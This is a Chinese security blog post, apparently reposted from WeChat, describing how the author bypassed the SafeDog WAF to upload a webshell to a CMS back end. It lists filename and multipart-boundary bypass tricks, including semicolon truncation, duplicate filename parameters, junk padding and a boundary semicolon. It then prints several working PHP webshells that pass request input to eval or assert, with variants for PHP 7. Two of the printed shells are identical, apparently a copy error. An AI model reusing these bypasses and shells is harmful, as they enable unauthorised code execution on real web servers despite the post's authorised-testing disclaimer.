GetShell | 文件上传遇到WAF那就绕它

admin 2024年1月3日19:36:03评论26 views字数 2387阅读7分57秒阅读模式

GetShell | 文件上传遇到WAF那就绕它

01

文章背景

    当在文件上传时遇到WAF时,怎么让自己不难受?那就绕TMD,绕过去就上去了,上去了就不难受了。一般WAF会匹配文件名,同时检测文件内容,本次记录为一次SafeDog的绕过。

02

我焯凉了

    进到一个后台,是个CMS,存在上传漏洞,么么么么,准备传马子……我NM,怎么还装了条狗子呢?你小汁,不识好歹。
GetShell | 文件上传遇到WAF那就绕它
    接下来,找了一些绕过狗子的方法,嗯,都G了。G了并不代表在所有系统里都会G,这个其实跟系统也会有一点细微的关系。

分号截断(G)
    在数据包中,某些WAF遇到分号回认为匹配结束,但系统会正常识别并完整获取。更改获取文件名处的内容为:filename="abc.jpg;.php",可以绕过上传,上传后保存为 abc.jpg;.php
GetShell | 文件上传遇到WAF那就绕它

多个等号(G)
    filename=="xxx.php",添加多个等号来尝试。
GetShell | 文件上传遇到WAF那就绕它

多filename(G)
    filename=;filename="xxx.php",通过插入多个filename参数,部分waf只会识别第一个filename的内容,但是服务端保存时会保存最后一个。
GetShell | 文件上传遇到WAF那就绕它

删除引号(G)
    这个我具体也不知道是啥,大概是能饶过的话,就是去除引号之后导致某些waf无法正常识别内容,然后绕过去了吧。
GetShell | 文件上传遇到WAF那就绕它

换行绕过 (G)
    将filename="xxx.p h p" 中,php后缀回车换行,不分WAF匹配时会将文件名识别为 xxx.pnhnp 只要将不是 .php 就行 上传保存时会自动取消 n ,保存为 xxx.php
GetShell | 文件上传遇到WAF那就绕它
我焯,难道要中道崩殂了吗~
GetShell | 文件上传遇到WAF那就绕它

03

干就完辣

    作为一个菜狗,是不会轻易放弃的,所以最后摸出来几种绕过文件名的手法,跟我一起往下看。
垃圾数据填充(可行)
    在参数中添加大量字符,当字符量超出WAF判断范围时,将可能绕过WAF检测。
GetShell | 文件上传遇到WAF那就绕它
GetShell | 文件上传遇到WAF那就绕它

文件名溢出(可行)
    文件名中加入大量字符,字符量超出WAF判断范围时,将可能绕过WAF检测。
    不过,有可能你绕过去了之后……目标系统本身支持不了这种方式,但是这个系统会自动重命名文件,有一说一,上去了。
GetShell | 文件上传遇到WAF那就绕它
GetShell | 文件上传遇到WAF那就绕它

Content-Type绕过(可行)
    这个东西在下面重点介绍一下,这边直接先来看看效果怎么样:
GetShell | 文件上传遇到WAF那就绕它

04

Content-Type介绍

    Content-Type:互联网媒体类型, 也叫MIME类型,在HTTP消息头中,使用Content-Type来表示请求和响应中的媒体数据格式标签,区分数据类型。常见Content-Type的格式如下:
Content-Type: text/html;Content-Type:type/subtype;parameterContent-Type:application/x-www-form-urlencodedContent-Type: application/json;charset:utf-8;Content-Type:multipart/form-data
    那么这边我们要说的是类型是:multipart/form-data
    当服务器在接收POST请求来的数据时,正式通过此种方式获取开始与结尾的标识,利用 boundary 边界来获取位置:

GetShell | 文件上传遇到WAF那就绕它

    通过测试发现,更改参数2和参数3的边界值,均会导致数据包无法正常的进行响应:
GetShell | 文件上传遇到WAF那就绕它
GetShell | 文件上传遇到WAF那就绕它
    最终测试发现,我们只需要在其实边界值后添加一个分号,就能绕过waf的识别。原理估计跟前面的差不多,waf同样会通过Content-Type来获取数据,识别到分号时认为匹配结束。
GetShell | 文件上传遇到WAF那就绕它

05

内容绕过

    虽然文件已经上去了,但是执行依然会被拦截,所以我们需要想办法更改Shell,让waf无法正则匹配关键内容。
GetShell | 文件上传遇到WAF那就绕它
    下面的内容我就不详细介绍了,简单列两种绕过的写法:
Shell-1
<?php      function a(){      return 'assert';    }    $a = a();    $b =array($_REQUEST[123]);    call_user_func_array($a,$a=$b);    ?>
GetShell | 文件上传遇到WAF那就绕它

Shell-2
<?php      function a(){      return 'assert';    }    $a = a();    $b =array($_REQUEST[123]);    call_user_func_array($a,$a=$b);    ?>

GetShell | 文件上传遇到WAF那就绕它

    然后你就看到了,虽然没被拦截了,但是这两玩意执行不了全是报错,NMD,不对啊,理论上来说不应该啊。
    最后我发现这系统,NM是PHP7.x的版本啊,我焯……这两方式在PHP7之前的版本都没毛病的,PHP7之后改了很多特性,所以不行了。
GetShell | 文件上传遇到WAF那就绕它
    
这我也不是很会了啊,行,我去大佬那偷。

针对于PHP7的Shell-1
<?phpclass Shell{    var $arg;    function setarg($str){        $this->arg = '' . $str . null;    }    function go(){        eval("$this->arg");    }}$run = new Shell;$run->setarg($_REQUEST['xlz']);$run->go();?>
GetShell | 文件上传遇到WAF那就绕它

针对于PHP7的Shell-2
<?phpclass Shell{    public $arg = '';
function __destruct(){ eval("$this->arg"); }}
$run = new Shell;$run->arg = $_REQUEST['xlz'];?>
GetShell | 文件上传遇到WAF那就绕它

GetShell | 文件上传遇到WAF那就绕它

GetShell | 文件上传遇到WAF那就绕它
(
END
)



!扫码添加哦!
联系进群即可,群内可交流技术

GetShell | 文件上传遇到WAF那就绕它

免责声明












   
文章内容仅限授权测试或学习使用
请勿进行非法的测试或攻击

    利用本账号所发文章
进行直接或间接的非法行为
均由操作者本人负全责
犀利猪安全文章对应作者

不为此承担任何责任

文章来自互联网或原创

如有侵权可联系我方进行删除

并诚挚的跟您说声抱歉





原文始发于微信公众号(犀利猪安全):GetShell | 文件上传遇到WAF那就绕它

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月3日19:36:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GetShell | 文件上传遇到WAF那就绕它http://cn-sec.com/archives/2360981.html

发表评论

匿名网友 填写信息